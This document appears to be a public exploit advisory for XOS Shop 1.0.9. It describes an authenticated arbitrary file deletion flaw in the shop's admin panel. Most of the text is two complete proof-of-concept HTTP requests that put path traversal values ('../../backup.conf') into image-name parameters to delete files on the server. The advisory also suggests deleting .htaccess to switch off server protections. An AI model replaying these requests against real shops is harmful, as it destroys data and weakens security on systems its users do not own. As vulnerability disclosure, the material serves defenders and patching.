XOS Shop 1.0.9 Arbitrary File Deletion

2021.07.26
Credit: faisalfs10x
Risk: Medium
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

# Exploit Title: XOS Shop 1.0.9 - 'Multiple' Arbitrary File Deletion (Authenticated) # Date: 2021-07-25 # Exploit Author: faisalfs10x (https://github.com/faisalfs10x) # Vendor Homepage: https://xos-shop.com # Software Link: https://github.com/XOS-Shop/xos_shop_system/releases/tag/v1.0.9 # Version: 1.0.9 # Tested on: Windows 10, XAMPP # Reference: https://github.com/XOS-Shop/xos_shop_system/issues/1 ################ # Description # ################ # XOS-Shop is a further development of the well-known open source webshop system "osCommerce". The XOS-Shop prior to version 1.0.9 suffers from an arbitrary file deletion vulnerability in Admin Panel. Exploiting the vulnerability allows an authenticated attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete). Furthermore, an attacker might leverage the capability of arbitrary file deletion to circumvent certain webserver security mechanisms such as deleting .htaccess file that would deactivate those security constraints. ########## # PoC 1 # ########## Vulnerable URL: http://localhost/xos_shop_v1.0.9/shop/admin/manufacturers.php Vulnerable Code: line 66 - xos_shop_v1.0.9\shop\admin\manufacturers.php Steps to Reproduce: 1. Login as admin 2. Goto Catalog > Manufacturers > edit any manufacturer 3. Upload any image as "Manufacturers Image" and click save button 4. Then, tick "Delete" checkbox and click save button 5. Intercept the request and replace existing image name to any files on the server via parameter "current_manufacturer_image". # Assumed there is a backup.conf file in web root PoC #1) param current_manufacturer_image - Deleting backup.conf file in web root Request: ======== POST /xos_shop_v1.0.9/shop/admin/manufacturers.php?page=1&mID=10&action=save HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------120849309142309531191692203678 Content-Length: 1305 Origin: http://localhost DNT: 1 Connection: close Referer: http://localhost/xos_shop_v1.0.9/shop/admin/manufacturers.php?page=1&mID=10&action=edit Cookie: XOSsidAdmin=os13rkgs85m47iak7l8ck2j1ja Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Sec-GPC: 1 -----------------------------120849309142309531191692203678 Content-Disposition: form-data; name="manufacturers_name[2]" App -----------------------------120849309142309531191692203678 Content-Disposition: form-data; name="manufacturers_name[1]" App -----------------------------120849309142309531191692203678 Content-Disposition: form-data; name="manufacturers_name[3]" App -----------------------------120849309142309531191692203678 Content-Disposition: form-data; name="manufacturers_url[2]" app.com -----------------------------120849309142309531191692203678 Content-Disposition: form-data; name="manufacturers_url[1]" app.com -----------------------------120849309142309531191692203678 Content-Disposition: form-data; name="manufacturers_url[3]" app.com -----------------------------120849309142309531191692203678 Content-Disposition: form-data; name="delete_manufacturer_image" true -----------------------------120849309142309531191692203678 Content-Disposition: form-data; name="current_manufacturer_image" ../../backup.conf -----------------------------120849309142309531191692203678 Content-Disposition: form-data; name="manufacturers_image"; filename="" Content-Type: application/octet-stream -----------------------------120849309142309531191692203678-- --- ########## # PoC 2 # ########## Vulnerable URL: http://localhost/xos_shop_v1.0.9/shop/admin/categories.php Vulnerable Code: line 154-156, 167-169, 421-425, 433-437 - xos_shop_v1.0.9\shop\admin\categories.php Note: Multiple parameters affected Steps to Reproduce: 1. Login as admin 2. Goto Catalog > Categories/Products > edit any category 3. Upload any image as "Category Image" if there is no existing image and click save button else, 4. Tick "Delete" checkbox and click save button 5. Intercept the request and replace existing image name to any files on the server via parameter "current_category_image". # Assumed there is a backup.conf file in web root PoC #2) param current_category_image - Deleting backup.conf file in web root Request: ======== POST /xos_shop_v1.0.9/shop/admin/categories.php?action=update_category&cPath=&cpID=1 HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------95672159210084798032704634599 Content-Length: 2524 Origin: http://localhost DNT: 1 Connection: close Referer: http://localhost/xos_shop_v1.0.9/shop/admin/categories.php?cPath=&cpID=1&action=new_category Cookie: XOSsidAdmin=os13rkgs85m47iak7l8ck2j1ja Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 Sec-GPC: 1 -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="categories_or_pages_id" 1 -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="current_category_image" ../../../backup.conf -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="category_name" Hardware -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="current_categories_or_pages_status" 1 -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="delete_category_image" true -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="categories_image"; filename="" Content-Type: application/octet-stream -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="product_list_b" 0 -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="sort_order" 10 -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="categories_or_pages_status" 1 -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="categories_or_pages_name[2]" Hardware -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="categories_or_pages_name[1]" Hardware -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="categories_or_pages_name[3]" Hardware -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="categories_or_pages_heading_title[2]" -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="categories_or_pages_heading_title[1]" -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="categories_or_pages_heading_title[3]" -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="categories_or_pages_content[2]" -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="categories_or_pages_content[1]" -----------------------------95672159210084798032704634599 Content-Disposition: form-data; name="categories_or_pages_content[3]" -----------------------------95672159210084798032704634599-- --- # For more explanation, you can refer to the github issue on XOS-Shop via https://github.com/XOS-Shop/xos_shop_system/issues/1 # The affected version is prior to v1.0.9.


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